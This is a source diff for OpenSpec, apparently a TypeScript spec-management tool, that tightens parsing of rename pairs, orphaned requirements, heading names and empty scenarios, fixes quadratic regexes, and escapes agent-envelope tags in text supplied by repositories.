if (renamedSection) {
|
||||
const renames = this.parseRenames(renamedSection.content);
|
||||
renames.forEach(rename => {
|
||||
deltas.push({
|
||||
spec: specName,
|
||||
operation: 'RENAMED' as DeltaOperation,
|
||||
description: `Rename requirement from "${rename.from}" to "${rename.to}"`,
|
||||
rename,
|
||||
});
|
||||
plan.renamed.forEach(rename => {
|
||||
deltas.push({
|
||||
spec: specName,
|
||||
operation: 'RENAMED' as DeltaOperation,
|
||||
description: `Rename requirement from "${rename.from}" to "${rename.to}"`,
|
||||
rename,
|
||||
});
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
return deltas;
|
||||
}
|
||||
|
||||
private parseRenames(content: string): Array<{ from: string; to: string }> {
|
||||
const renames: Array<{ from: string; to: string }> = [];
|
||||
const lines = ChangeParser.normalizeContent(content).split('\n');
|
||||
|
||||
let currentRename: { from?: string; to?: string } = {};
|
||||
|
||||
for (const line of lines) {
|
||||
const fromMatch = line.match(/^\s*-?\s*FROM:\s*`?###\s*Requirement:\s*(.+?)`?\s*$/);
|
||||
const toMatch = line.match(/^\s*-?\s*TO:\s*`?###\s*Requirement:\s*(.+?)`?\s*$/);
|
||||
|
||||
if (fromMatch) {
|
||||
currentRename.from = fromMatch[1].trim();
|
||||
} else if (toMatch) {
|
||||
currentRename.to = toMatch[1].trim();
|
||||
|
||||
if (currentRename.from && currentRename.to) {
|
||||
renames.push({
|
||||
from: currentRename.from,
|
||||
to: currentRename.to,
|
||||
});
|
||||
currentRename = {};
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return renames;
|
||||
/**
|
||||
* One Requirement per block, read by the same section parser (and the
|
||||
* header filter above) as before, so text and scenarios are unchanged.
|
||||
*/
|
||||
private toRequirements(blocks: RequirementBlock[]): Requirement[] {
|
||||
return blocks.flatMap((block) => {
|
||||
const [headerLine, ...body] = block.raw.split('\n');
|
||||
// Canonical header: the delta reader also accepts `###Requirement:` with
|
||||
// no space, which the section parser would not see as a header.
|
||||
const title = headerLine.replace(/^###\s*/, '').trim();
|
||||
const [section] = this.parseSectionsFromContent([`### ${title}`, ...body].join('\n'));
|
||||
return this.parseRequirements({ level: 2, title: '', content: '', children: [section] });
|
||||
});
|
||||
}
|
||||
|
||||
private parseSectionsFromContent(content: string): Section[] {
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { Spec, Change, Requirement, Scenario, Delta, DeltaOperation } from '../schemas/index.js';
|
||||
import { buildCodeFenceMask, extractRequirementText } from './requirement-text.js';
|
||||
import { buildCodeFenceMask, extractRequirementText, hasScenarioBody } from './requirement-text.js';
|
||||
|
||||
export interface Section {
|
||||
level: number;
|
||||
@@ -172,8 +172,9 @@ export class MarkdownParser {
|
||||
const scenarios: Scenario[] = [];
|
||||
|
||||
for (const scenarioSection of requirementSection.children) {
|
||||
// Store the raw text content of the scenario section
|
||||
if (scenarioSection.content.trim()) {
|
||||
// Store the raw text content of the scenario section. A header with no
|
||||
// body is not a scenario; the delta counter applies the same rule.
|
||||
if (hasScenarioBody(scenarioSection.content)) {
|
||||
scenarios.push({
|
||||
rawText: scenarioSection.content
|
||||
});
|
||||
|
||||
@@ -15,15 +15,20 @@ export interface RequirementsSectionParts {
|
||||
}
|
||||
|
||||
export function normalizeRequirementName(name: string): string {
|
||||
return name.trim();
|
||||
// An ATX heading may end in a closing run of `#`s: `### Requirement: Foo ###`
|
||||
// renders as `Foo`, so the run is not part of the name. As for scenario names,
|
||||
// only a run preceded by a space or tab closes the heading, so `C#` keeps its
|
||||
// `#`, and `[ \t]` rather than `\s` keeps an NBSP-separated run in the name.
|
||||
return name.replace(/[ \t]+#+[ \t]*$/, '').trim();
|
||||
}
|
||||
|
||||
/**
|
||||
* Case- and whitespace-insensitive fold of a requirement name. Requirement
|
||||
* matching itself is case-sensitive (normalizeRequirementName); this fold
|
||||
* exists only for typo detection - near-miss REMOVED headers and the
|
||||
* RENAMED+REMOVED cross-section conflict - where two spellings that differ
|
||||
* only in case or interior whitespace mean a mistake, never two requirements.
|
||||
* exists only for typo detection - near-miss REMOVED, ADDED and RENAMED
|
||||
* headers and the RENAMED+REMOVED cross-section conflict - where two spellings
|
||||
* that differ only in case or interior whitespace mean a mistake, never two
|
||||
* requirements.
|
||||
*/
|
||||
export function foldRequirementName(name: string): string {
|
||||
return normalizeRequirementName(name).toLowerCase().replace(/\s+/g, ' ');
|
||||
@@ -126,6 +131,44 @@ export interface SkippedHeader {
|
||||
line: number; // 1-based line number in the delta file
|
||||
}
|
||||
|
||||
/**
|
||||
* A `FROM:` or `TO:` line in `## RENAMED Requirements` that never formed a pair,
|
||||
* recorded at the moment the reader steps over it.
|
||||
*
|
||||
* The pair reader used to carry one mutable `{ from, to }` and drop whatever did
|
||||
* not fit: a second `FROM:` overwrote an unpaired first, a `TO:` with no pending
|
||||
* `FROM:` vanished, and a trailing `FROM:` was forgotten at the end of the
|
||||
* section. Nothing counted any of it, so a rename the author asked for could
|
||||
* silently not happen - or, when the lines interleaved, a DIFFERENT requirement
|
||||
* could be renamed under a name meant for another one.
|
||||
*
|
||||
* Recording them is what lets `validate` report the problem and `buildUpdatedSpec`
|
||||
* refuse, rather than guess a pairing and rewrite the spec from it.
|
||||
*/
|
||||
export interface UnpairedRename {
|
||||
side: 'FROM' | 'TO';
|
||||
name: string; // requirement name as written
|
||||
line: number; // 1-based line number in the delta file
|
||||
}
|
||||
|
||||
/**
|
||||
* A canonical `### Requirement:` block that sits outside every delta section -
|
||||
* under `## Notes`, under a misspelled `## Add Requirements`, or above the
|
||||
* first `## ` header entirely.
|
||||
*
|
||||
* The delta reader only ever looks inside the four delta sections, so a block
|
||||
* written anywhere else was dropped with no error, no warning and no note -
|
||||
* even though it is well formed and reads exactly like one that would apply.
|
||||
* That was the inconsistency worth closing: the ADJACENT mistake, a
|
||||
* non-canonical `###` header INSIDE a delta section, has been reported as INFO
|
||||
* since #498 (`skippedHeaders`), while the costlier one said nothing at all.
|
||||
*/
|
||||
export interface OrphanedRequirement {
|
||||
name: string; // requirement name as written
|
||||
section: string | null; // the `## ` section it sits under, or null above the first one
|
||||
line: number; // 1-based line number in the delta file
|
||||
}
|
||||
|
||||
export interface DeltaPlan {
|
||||
added: RequirementBlock[];
|
||||
modified: RequirementBlock[];
|
||||
@@ -135,6 +178,10 @@ export interface DeltaPlan {
|
||||
// reader of the removal needs. Empty for the bullet-list form, which has none.
|
||||
removedBlocks: RequirementBlock[];
|
||||
renamed: Array<{ from: string; to: string }>;
|
||||
/** FROM:/TO: lines in RENAMED that never formed a pair. */
|
||||
unpairedRenames: UnpairedRename[];
|
||||
/** Canonical requirement blocks written outside every delta section. */
|
||||
orphanedRequirements: OrphanedRequirement[];
|
||||
skippedHeaders: SkippedHeader[]; // non-canonical ### headers the reader skipped
|
||||
sectionPresence: {
|
||||
added: boolean;
|
||||
@@ -193,8 +240,13 @@ export function parseDeltaSpec(content: string): DeltaPlan {
|
||||
parseRequirementBlocksFromSection(body)
|
||||
);
|
||||
// Pairs are read per section, so a FROM in one copy of the header can never
|
||||
// pair with a TO in another.
|
||||
const renamedPairs = renamedLookup.bodies.flatMap((body) => parseRenamedPairs(body));
|
||||
// pair with a TO in another: a FROM left pending at the end of one copy is
|
||||
// reported as unpaired rather than carried into the next.
|
||||
const unpairedRenames: UnpairedRename[] = [];
|
||||
const renamedPairs = renamedLookup.bodies.flatMap((body) =>
|
||||
parseRenamedPairs(body, unpairedRenames)
|
||||
);
|
||||
unpairedRenames.sort((a, b) => a.line - b.line);
|
||||
skippedHeaders.sort((a, b) => a.line - b.line);
|
||||
return {
|
||||
added,
|
||||
@@ -202,6 +254,8 @@ export function parseDeltaSpec(content: string): DeltaPlan {
|
||||
removed: removedNames,
|
||||
removedBlocks,
|
||||
renamed: renamedPairs,
|
||||
unpairedRenames,
|
||||
orphanedRequirements: findOrphanedRequirements(lines, fenceMask),
|
||||
skippedHeaders,
|
||||
sectionPresence: {
|
||||
added: addedLookup.found,
|
||||
@@ -212,6 +266,55 @@ export function parseDeltaSpec(content: string): DeltaPlan {
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* The four section titles the delta reader acts on, folded the way
|
||||
* `getSectionsCaseInsensitive` folds them. Matching the reader exactly matters:
|
||||
* a looser test (say, any run of whitespace) would treat `## ADDED Requirements`
|
||||
* as a delta section here while the reader ignores it, and the requirements
|
||||
* under it would be dropped without this warning.
|
||||
*/
|
||||
const DELTA_SECTION_TITLES = new Set(
|
||||
['ADDED Requirements', 'MODIFIED Requirements', 'REMOVED Requirements', 'RENAMED Requirements'].map(
|
||||
(title) => title.toLowerCase()
|
||||
)
|
||||
);
|
||||
|
||||
/**
|
||||
* Every canonical `### Requirement:` header that is not inside a delta section,
|
||||
* in document order.
|
||||
*
|
||||
* Walks the whole file rather than the parsed sections so a requirement written
|
||||
* ABOVE the first `## ` header is reported too - it is dropped just as silently
|
||||
* as one under `## Notes`. Fenced lines are skipped, so a requirement shown
|
||||
* inside a markdown example is not mistaken for an authored one.
|
||||
*/
|
||||
function findOrphanedRequirements(
|
||||
lines: string[],
|
||||
fenceMask: boolean[]
|
||||
): OrphanedRequirement[] {
|
||||
const orphans: OrphanedRequirement[] = [];
|
||||
let section: string | null = null;
|
||||
for (let i = 0; i < lines.length; i++) {
|
||||
if (fenceMask[i]) continue;
|
||||
// The same `## ` test splitTopLevelSections uses, so both agree on sections.
|
||||
const sectionMatch = lines[i].match(/^(##)\s+(.+)$/);
|
||||
if (sectionMatch) {
|
||||
section = sectionMatch[2].trim();
|
||||
continue;
|
||||
}
|
||||
if (section !== null && DELTA_SECTION_TITLES.has(section.toLowerCase())) continue;
|
||||
const header = lines[i].match(REQUIREMENT_HEADER_REGEX);
|
||||
if (header) {
|
||||
orphans.push({
|
||||
name: normalizeRequirementName(header[1]),
|
||||
section,
|
||||
line: i + 1,
|
||||
});
|
||||
}
|
||||
}
|
||||
return orphans;
|
||||
}
|
||||
|
||||
/** One `## ` section of a delta file, in the order it was written. */
|
||||
interface DeltaSection {
|
||||
title: string;
|
||||
@@ -355,17 +458,37 @@ function parseRemovedNames(sectionBody: SectionBody): string[] {
|
||||
}
|
||||
|
||||
/**
|
||||
* `FROM:`/`TO:` rename pairs from `## RENAMED Requirements`, in document order.
|
||||
* Read `FROM:`/`TO:` entries into rename pairs, recording every line that never
|
||||
* formed one.
|
||||
*
|
||||
* A pair is a `FROM:` followed by a `TO:` with no second `FROM:` in between -
|
||||
* the shape the documented format uses. Anything else is reported through
|
||||
* `unpaired` rather than absorbed:
|
||||
*
|
||||
* - a `FROM:` displaced by another `FROM:` before its `TO:` arrived
|
||||
* - a `TO:` with no pending `FROM:`
|
||||
* - a `FROM:` still pending when the section ends
|
||||
*
|
||||
* Silently dropping these is what let a requested rename not happen, and what
|
||||
* let interleaved lines (`FROM a`, `FROM b`, `TO x`, `TO y`) pair b with x -
|
||||
* renaming a requirement the author never named, under a name meant for a
|
||||
* different one. Callers refuse the delta instead of guessing.
|
||||
*
|
||||
* The bullet is optional, and every CommonMark bullet marker is accepted: a
|
||||
* rename written with `*` or `+` used to match nothing at all, so the rename
|
||||
* silently never happened while archive still reported success.
|
||||
*/
|
||||
function parseRenamedPairs(sectionBody: SectionBody): Array<{ from: string; to: string }> {
|
||||
const { lines, fenceMask } = sectionBody;
|
||||
function parseRenamedPairs(
|
||||
sectionBody: SectionBody,
|
||||
unpaired?: UnpairedRename[]
|
||||
): Array<{ from: string; to: string }> {
|
||||
const { lines, fenceMask, bodyStartLine } = sectionBody;
|
||||
if (lines.length === 0) return [];
|
||||
const pairs: Array<{ from: string; to: string }> = [];
|
||||
let current: { from?: string; to?: string } = {};
|
||||
let pending: { name: string; line: number } | undefined;
|
||||
const drop = (side: 'FROM' | 'TO', name: string, line: number) => {
|
||||
unpaired?.push({ side, name, line });
|
||||
};
|
||||
for (let i = 0; i < lines.length; i++) {
|
||||
if (fenceMask[i]) continue;
|
||||
const line = lines[i];
|
||||
@@ -375,15 +498,19 @@ function parseRenamedPairs(sectionBody: SectionBody): Array<{ from: string; to:
|
||||
const fromMatch = line.match(/^\s*[-*+]?\s*FROM:\s*`?###\s*Requirement:\s*(.+?)`?\s*$/);
|
||||
const toMatch = line.match(/^\s*[-*+]?\s*TO:\s*`?###\s*Requirement:\s*(.+?)`?\s*$/);
|
||||
if (fromMatch) {
|
||||
current.from = normalizeRequirementName(fromMatch[1]);
|
||||
if (pending) drop('FROM', pending.name, pending.line);
|
||||
pending = { name: normalizeRequirementName(fromMatch[1]), line: bodyStartLine + i };
|
||||
} else if (toMatch) {
|
||||
current.to = normalizeRequirementName(toMatch[1]);
|
||||
if (current.from && current.to) {
|
||||
pairs.push({ from: current.from, to: current.to });
|
||||
current = {};
|
||||
const to = normalizeRequirementName(toMatch[1]);
|
||||
if (!pending) {
|
||||
drop('TO', to, bodyStartLine + i);
|
||||
continue;
|
||||
}
|
||||
pairs.push({ from: pending.name, to });
|
||||
pending = undefined;
|
||||
}
|
||||
}
|
||||
if (pending) drop('FROM', pending.name, pending.line);
|
||||
return pairs;
|
||||
}
|
||||
|
||||
|
||||
@@ -26,9 +26,24 @@ const HEADER_LINE = /^#{1,6}\s/;
|
||||
* as a scenario, so the delta counter must too (parity). The delta/loss path
|
||||
* reuses this exact constant via `scenarioHeaderAt` in requirement-blocks.ts;
|
||||
* keep both paths on it rather than reintroducing a separate `Scenario:` regex.
|
||||
* A header alone is not yet a scenario on either path: see hasScenarioBody.
|
||||
*/
|
||||
export const SCENARIO_HEADER = /^####\s+/;
|
||||
|
||||
/** A header at scenario level or above (`#` to `####`): where a scenario body ends. */
|
||||
const SCENARIO_BODY_END = /^#{1,4}\s/;
|
||||
|
||||
/**
|
||||
* Whether a scenario's body has content. The spec path
|
||||
* (`MarkdownParser.parseScenarios`) drops a scenario whose body is empty, so
|
||||
* the delta counter must too (parity): otherwise `validate` accepts a
|
||||
* requirement whose only scenario is a bare header, and archive rejects it when
|
||||
* it validates the rebuilt spec.
|
||||
*/
|
||||
export function hasScenarioBody(body: string): boolean {
|
||||
return body.trim().length > 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* The one predicate for normative-keyword detection. Matches `SHALL` or `MUST`
|
||||
* as whole words so the change-delta reader and the schema-based reader accept
|
||||
@@ -88,15 +103,31 @@ export function extractRequirementText(headerTitle: string, bodyLines: string[])
|
||||
|
||||
/**
|
||||
* Count the real scenarios in a requirement block: `#### ` headers on non-fenced
|
||||
* lines. A `#### Scenario:` that lives inside a fenced example is not a real
|
||||
* scenario and is not counted.
|
||||
* lines whose body has content. A `#### Scenario:` that lives inside a fenced
|
||||
* example is not a real scenario and is not counted.
|
||||
*/
|
||||
export function countScenarios(bodyLines: string[]): number {
|
||||
return readScenarioBodies(bodyLines).filter(hasScenarioBody).length;
|
||||
}
|
||||
|
||||
/** Count the `#### ` headers in a requirement block that have no body under them. */
|
||||
export function countEmptyScenarios(bodyLines: string[]): number {
|
||||
return readScenarioBodies(bodyLines).filter((body) => !hasScenarioBody(body)).length;
|
||||
}
|
||||
|
||||
/**
|
||||
* The body of each scenario in a requirement block. A body runs to the next
|
||||
* non-fenced header of level 4 or above, the boundary the spec path uses, so a
|
||||
* fenced block or a deeper `#####` header is part of it.
|
||||
*/
|
||||
function readScenarioBodies(bodyLines: string[]): string[] {
|
||||
const mask = buildCodeFenceMask(bodyLines);
|
||||
let count = 0;
|
||||
const bodies: string[] = [];
|
||||
for (let i = 0; i < bodyLines.length; i++) {
|
||||
if (mask[i]) continue;
|
||||
if (SCENARIO_HEADER.test(bodyLines[i])) count++;
|
||||
if (mask[i] || !SCENARIO_HEADER.test(bodyLines[i])) continue;
|
||||
let end = i + 1;
|
||||
while (end < bodyLines.length && (mask[end] || !SCENARIO_BODY_END.test(bodyLines[end]))) end++;
|
||||
bodies.push(bodyLines.slice(i + 1, end).join('\n'));
|
||||
}
|
||||
return count;
|
||||
return bodies;
|
||||
}
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import { buildCodeFenceMask } from './code-fence.js';
|
||||
import { normalizeRequirementName } from './requirement-blocks.js';
|
||||
|
||||
const REQUIREMENTS_SECTION_HEADER = /^##\s+Requirements\s*$/i;
|
||||
const TOP_LEVEL_SECTION_HEADER = /^##\s+/;
|
||||
@@ -73,7 +74,9 @@ export function findMainSpecStructureIssues(content: string): MainSpecStructureI
|
||||
continue;
|
||||
}
|
||||
|
||||
const requirementName = requirementMatch[1].trim();
|
||||
// The same name every other reader uses, so a closed heading
|
||||
// (`### Requirement: Foo ###`) duplicates `### Requirement: Foo`.
|
||||
const requirementName = normalizeRequirementName(requirementMatch[1]);
|
||||
const previousLine = requirementLines.get(requirementName);
|
||||
if (previousLine !== undefined) {
|
||||
issues.push({
|
||||
|
||||
@@ -3,6 +3,8 @@ import path from 'path';
|
||||
import { parse as parseYaml } from 'yaml';
|
||||
import { z } from 'zod';
|
||||
|
||||
import { getStoreMetadataPath } from './store/foundation.js';
|
||||
|
||||
export const OPERATION_IDS = ['apply', 'archive'] as const;
|
||||
export type OperationId = (typeof OPERATION_IDS)[number];
|
||||
|
||||
@@ -577,7 +579,10 @@ export function storePointerProblem(reason: 'unparseable' | 'non_string'): strin
|
||||
}
|
||||
|
||||
export interface OpenSpecDirClassification {
|
||||
/** True when openspec/specs or openspec/changes exists as a directory. */
|
||||
/**
|
||||
* True when openspec/specs or openspec/changes exists as a directory
|
||||
* that is not itself a store root.
|
||||
*/
|
||||
hasPlanningShape: boolean;
|
||||
pointer: StorePointerRead;
|
||||
}
|
||||
@@ -586,15 +591,24 @@ export interface OpenSpecDirClassification {
|
||||
* One classification for "real root vs config-only pointer dir", shared
|
||||
* by root resolution and the init pointer guard so they can never
|
||||
* disagree (slice 3.2).
|
||||
*
|
||||
* A specs/ or changes/ directory carrying store metadata is a store at
|
||||
* the recommended `~/openspec/<id>` layout whose id is `specs` or
|
||||
* `changes`, not planning content of the directory above it. Counting it
|
||||
* would make $HOME the phantom root the qualifying walk exists to prevent.
|
||||
*/
|
||||
export function classifyOpenSpecDir(projectRoot: string): OpenSpecDirClassification {
|
||||
const openspecDir = path.join(projectRoot, 'openspec');
|
||||
const hasPlanningShape =
|
||||
isDirectorySync(path.join(openspecDir, 'specs')) ||
|
||||
isDirectorySync(path.join(openspecDir, 'changes'));
|
||||
isPlanningDirectorySync(path.join(openspecDir, 'specs')) ||
|
||||
isPlanningDirectorySync(path.join(openspecDir, 'changes'));
|
||||
return { hasPlanningShape, pointer: readStorePointer(projectRoot) };
|
||||
}
|
||||
|
||||
function isPlanningDirectorySync(candidatePath: string): boolean {
|
||||
return isDirectorySync(candidatePath) && !existsSync(getStoreMetadataPath(candidatePath));
|
||||
}
|
||||
|
||||
function isDirectorySync(candidatePath: string): boolean {
|
||||
try {
|
||||
return statSync(candidatePath).isDirectory();
|
||||
|
||||
@@ -243,6 +243,73 @@ export function sanitizeInline(value: string, maxLength = 300): string {
|
||||
return flattened.length > maxLength ? `${flattened.slice(0, maxLength)}…` : flattened;
|
||||
}
|
||||
|
||||
/**
|
||||
* The tags the instruction printer uses to frame its blocks. A block ends at
|
||||
* its own closing tag and nowhere else, so this is the entire breakout
|
||||
* surface: neutralize these and repo-supplied text cannot escape the element
|
||||
* that marks it as data.
|
||||
*/
|
||||
const ENVELOPE_TAGS = [
|
||||
'artifact',
|
||||
'dependencies',
|
||||
'dependency',
|
||||
'description',
|
||||
'instruction',
|
||||
'output',
|
||||
'path',
|
||||
'project_context',
|
||||
'rules',
|
||||
'success_criteria',
|
||||
'task',
|
||||
'template',
|
||||
'unlocks',
|
||||
'warning',
|
||||
] as const;
|
||||
|
||||
// The attribute tail uses `[^<>]` rather than `[^>]` so a run of unterminated
|
||||
// `<task ...` openers cannot make each start position scan to end of input,
|
||||
// which is how the first version of this escape became quadratic. The separator
|
||||
// is `\s`, not a space or tab: XML allows a line break before `>` or an
|
||||
// attribute, so a multiline repo value could otherwise split a tag past this.
|
||||
const ENVELOPE_TAG = new RegExp(
|
||||
`<(/?)(${ENVELOPE_TAGS.join('|')})(\\s[^<>]*)?>`,
|
||||
'gi'
|
||||
);
|
||||
|
||||
/**
|
||||
* Neutralize the envelope's own tags - opening and closing - in repo-supplied
|
||||
* text, so it cannot close the block that frames it as data nor forge a new
|
||||
* block that carries authority.
|
||||
*
|
||||
* Deliberately narrow: only this fixed vocabulary is touched. Escaping every
|
||||
* angle bracket also works, but it mangles ordinary content for everyone.
|
||||
* OpenSpec's own spec-driven schema writes `### Requirement: <name>` and
|
||||
* `openspec show "<spec-id>"`; custom templates carry `<details>`; and
|
||||
* `context:` routinely holds `R&D`, `pnpm build && pnpm test` or
|
||||
* `Result<T, E>`. All of those would reach the agent entity-encoded - a real
|
||||
* cost paid by every user, against a threat only these tags can carry.
|
||||
*/
|
||||
export function escapeEnvelopeTags(value: string): string {
|
||||
return value.replace(
|
||||
ENVELOPE_TAG,
|
||||
(_match, slash: string, tag: string, attrs: string | undefined) =>
|
||||
`<${slash}${tag}${attrs ?? ''}>`
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Attribute values are ids and directory names, never prose, so escaping every
|
||||
* metacharacter here costs nothing and stops a quote from closing the
|
||||
* attribute and forging siblings on the tag.
|
||||
*/
|
||||
export function escapeEnvelopeAttribute(value: string): string {
|
||||
return value
|
||||
.replace(/&/g, '&')
|
||||
.replace(/</g, '<')
|
||||
.replace(/>/g, '>')
|
||||
.replace(/"/g, '"');
|
||||
}
|
||||
|
||||
function renderEntryLines(entry: ReferenceIndexEntry): string[] {
|
||||
const lines: string[] = [];
|
||||
|
||||
|
||||
@@ -14,8 +14,12 @@ function normalizeGeneratedSkill(content: string): string {
|
||||
const frontmatter = normalized.match(/^---\n[\s\S]*?\n---(?:\n|$)/)?.[0];
|
||||
if (!frontmatter) return normalized;
|
||||
|
||||
// `[ \t]` rather than `\s` so a leading/trailing whitespace run can never
|
||||
// cross a newline: an `m`-anchored `\s*` re-scans from every line start,
|
||||
// which is quadratic on a whitespace-heavy frontmatter. YAML indentation is
|
||||
// spaces and tabs only, so matching is unchanged.
|
||||
const versionLine =
|
||||
/^(\s*generatedBy:\s*)(?:"([^"\n]+)"|'([^'\n]+)'|([^\s"'#]+))\s*$/m;
|
||||
/^([ \t]*generatedBy:[ \t]*)(?:"([^"\n]+)"|'([^'\n]+)'|([^\s"'#]+))[ \t]*$/m;
|
||||
const normalizedFrontmatter = frontmatter.replace(
|
||||
versionLine,
|
||||
(
|
||||
|
||||
@@ -32,8 +32,31 @@ import {
|
||||
type SkillTemplate,
|
||||
} from '../templates/skill-templates.js';
|
||||
import type { CommandContent } from '../command-generation/index.js';
|
||||
import {
|
||||
assertWorkflowConditionalsResolved,
|
||||
resolveOptionalWorkflows,
|
||||
} from '../templates/optional-workflow.js';
|
||||
import { ALL_WORKFLOWS } from '../profiles.js';
|
||||
import { OPENSPEC_CLI_ALLOWED_TOOLS } from './allowed-tools.js';
|
||||
|
||||
/**
|
||||
* The workflow set a template body is rendered against.
|
||||
*
|
||||
* `workflowFilter` is both the list of workflows to install and the set a
|
||||
* template may refer to, so resolving optional-workflow conditionals here —
|
||||
* the one place every generation path (init, update, migration, the skills.sh
|
||||
* distribution) already funnels through — keeps a reference to an uninstalled
|
||||
* workflow out of every generated file (#1734, umbrella #919).
|
||||
*
|
||||
* With no filter, every workflow is installed (that is what an unfiltered call
|
||||
* means), so the installed branch is kept.
|
||||
*/
|
||||
function resolveInstalledWorkflows(
|
||||
workflowFilter?: readonly string[]
|
||||
): ReadonlySet<string> {
|
||||
return new Set<string>(workflowFilter ?? ALL_WORKFLOWS);
|
||||
}
|
||||
|
||||
/**
|
||||
* Skill template with directory name and workflow ID mapping.
|
||||
*/
|
||||
@@ -72,10 +95,16 @@ export function getSkillTemplates(workflowFilter?: readonly string[]): SkillTemp
|
||||
{ template: getOpsxProposeSkillTemplate(), dirName: 'openspec-propose', workflowId: 'propose' },
|
||||
];
|
||||
|
||||
if (!workflowFilter) return all;
|
||||
const installed = resolveInstalledWorkflows(workflowFilter);
|
||||
const selected = workflowFilter ? all.filter(entry => installed.has(entry.workflowId)) : all;
|
||||
|
||||
const filterSet = new Set(workflowFilter);
|
||||
return all.filter(entry => filterSet.has(entry.workflowId));
|
||||
return selected.map(entry => ({
|
||||
...entry,
|
||||
template: {
|
||||
...entry.template,
|
||||
instructions: resolveOptionalWorkflows(entry.template.instructions, installed),
|
||||
},
|
||||
}));
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -99,10 +128,16 @@ export function getCommandTemplates(workflowFilter?: readonly string[]): Command
|
||||
{ template: getOpsxProposeCommandTemplate(), id: 'propose' },
|
||||
];
|
||||
|
||||
if (!workflowFilter) return all;
|
||||
const installed = resolveInstalledWorkflows(workflowFilter);
|
||||
const selected = workflowFilter ? all.filter(entry => installed.has(entry.id)) : all;
|
||||
|
||||
const filterSet = new Set(workflowFilter);
|
||||
return all.filter(entry => filterSet.has(entry.id));
|
||||
return selected.map(entry => ({
|
||||
...entry,
|
||||
template: {
|
||||
...entry.template,
|
||||
content: resolveOptionalWorkflows(entry.template.content, installed),
|
||||
},
|
||||
}));
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -138,6 +173,11 @@ export function generateSkillContent(
|
||||
? transformInstructions(template.instructions)
|
||||
: template.instructions;
|
||||
|
||||
assertWorkflowConditionalsResolved(
|
||||
instructions,
|
||||
`Skill '${template.name}' was generated without resolving its optional-workflow blocks`
|
||||
);
|
||||
|
||||
return `---
|
||||
name: ${template.name}
|
||||
description: ${template.description}
|
||||
|
||||
@@ -281,10 +281,18 @@ export function extractGeneratedByVersion(skillFilePath: string): string | null
|
||||
// version: "1.0"
|
||||
// generatedBy: "0.23.0"
|
||||
// ---
|
||||
const generatedByMatch = content.match(/^\s*generatedBy:\s*["']?([^"'\n]+)["']?\s*$/m);
|
||||
// Scanned per line, and with `[ \t]` rather than `\s`, so the leading
|
||||
// whitespace run can never cross a newline. A single `m`-anchored `\s*`
|
||||
// over the whole file re-scans it from every line start, which is
|
||||
// quadratic on a whitespace-heavy SKILL.md.
|
||||
for (const line of content.split(/\r\n?|\n/)) {
|
||||
const generatedByMatch = line.match(
|
||||
/^[ \t]*generatedBy:[ \t]*["']?([^"'\n]+)["']?[ \t]*$/
|
||||
);
|
||||
|
||||
if (generatedByMatch && generatedByMatch[1]) {
|
||||
return generatedByMatch[1].trim();
|
||||
if (generatedByMatch && generatedByMatch[1]) {
|
||||
return generatedByMatch[1].trim();
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
|
||||
+103
-10
@@ -55,7 +55,11 @@ function isLexicallyWithin(allowedDirectory: string, targetPath: string): boolea
|
||||
);
|
||||
}
|
||||
|
||||
function resolveTrustedSpecPath(specsRoot: string, specPath: string): {
|
||||
function resolveTrustedSpecPath(
|
||||
specsRoot: string,
|
||||
specPath: string,
|
||||
projectRoot?: string
|
||||
): {
|
||||
root: string;
|
||||
file: string;
|
||||
} {
|
||||
@@ -78,6 +82,17 @@ function resolveTrustedSpecPath(specsRoot: string, specPath: string): {
|
||||
// Freeze their canonical location as the trust root so later swaps are
|
||||
// rejected while a nested spec.md link still cannot escape.
|
||||
const root = FileSystemUtils.canonicalizeExistingPath(path.dirname(specPath));
|
||||
// An external capability link is deliberate and supported (see
|
||||
// assertDiscoveredSpecPath), so it is not refused here. What was wrong is
|
||||
// that the write was silent: the CLI reported the in-project path while
|
||||
// writing somewhere else entirely, so a link swapped underneath a repo
|
||||
// left nothing on screen to notice. Name the real destination instead.
|
||||
if (projectRoot && !isLexicallyWithin(FileSystemUtils.canonicalizeExistingPath(projectRoot), root)) {
|
||||
process.emitWarning(
|
||||
`Capability '${path.basename(path.dirname(specPath))}' links outside the project; writing to ${root}`,
|
||||
'OpenSpecExternalSpecWrite'
|
||||
);
|
||||
}
|
||||
const file = path.join(root, path.basename(specPath));
|
||||
FileSystemUtils.assertPathWithin(root, file);
|
||||
return { root, file };
|
||||
@@ -110,7 +125,14 @@ export async function findSpecUpdates(changeDir: string, mainSpecsDir: string):
|
||||
for (const { id, specFile } of discovered) {
|
||||
const targetFile = path.join(mainSpecsDir, ...id.split('/'), 'spec.md');
|
||||
const source = resolveTrustedSpecPath(changeSpecsDir, specFile);
|
||||
const target = resolveTrustedSpecPath(mainSpecsDir, targetFile);
|
||||
// Main specs always live at `<project root>/openspec/specs`, so the
|
||||
// project root is the grandparent - a linked capability directory may not
|
||||
// leave it.
|
||||
const target = resolveTrustedSpecPath(
|
||||
mainSpecsDir,
|
||||
targetFile,
|
||||
path.dirname(path.dirname(mainSpecsDir))
|
||||
);
|
||||
|
||||
// Check if target exists
|
||||
let exists = false;
|
||||
@@ -198,6 +220,35 @@ export async function buildUpdatedSpec(
|
||||
const plan = parseDeltaSpec(changeContent);
|
||||
const specName = update.id;
|
||||
|
||||
// A FROM:/TO: line that never formed a pair means the RENAMED section does not
|
||||
// say what the author meant. Refuse rather than apply the pairing the reader
|
||||
// happened to form: with interleaved lines that pairing renames a requirement
|
||||
// the delta never named, under a name written for a different one.
|
||||
if (plan.unpairedRenames.length > 0) {
|
||||
const first = plan.unpairedRenames[0];
|
||||
const missing = first.side === 'FROM' ? 'TO' : 'FROM';
|
||||
throw new Error(
|
||||
`${specName} validation failed - RENAMED entry on line ${first.line} has no matching ${missing}: ` +
|
||||
`for header "### Requirement: ${first.name}". ` +
|
||||
`Write each rename as a FROM: line followed immediately by its TO: line.`
|
||||
);
|
||||
}
|
||||
|
||||
// A well-formed requirement written outside every delta section is not
|
||||
// applied. Say so here as well as in validate: archive is the last point at
|
||||
// which the author can still notice, and the block reads exactly like one
|
||||
// that would have applied.
|
||||
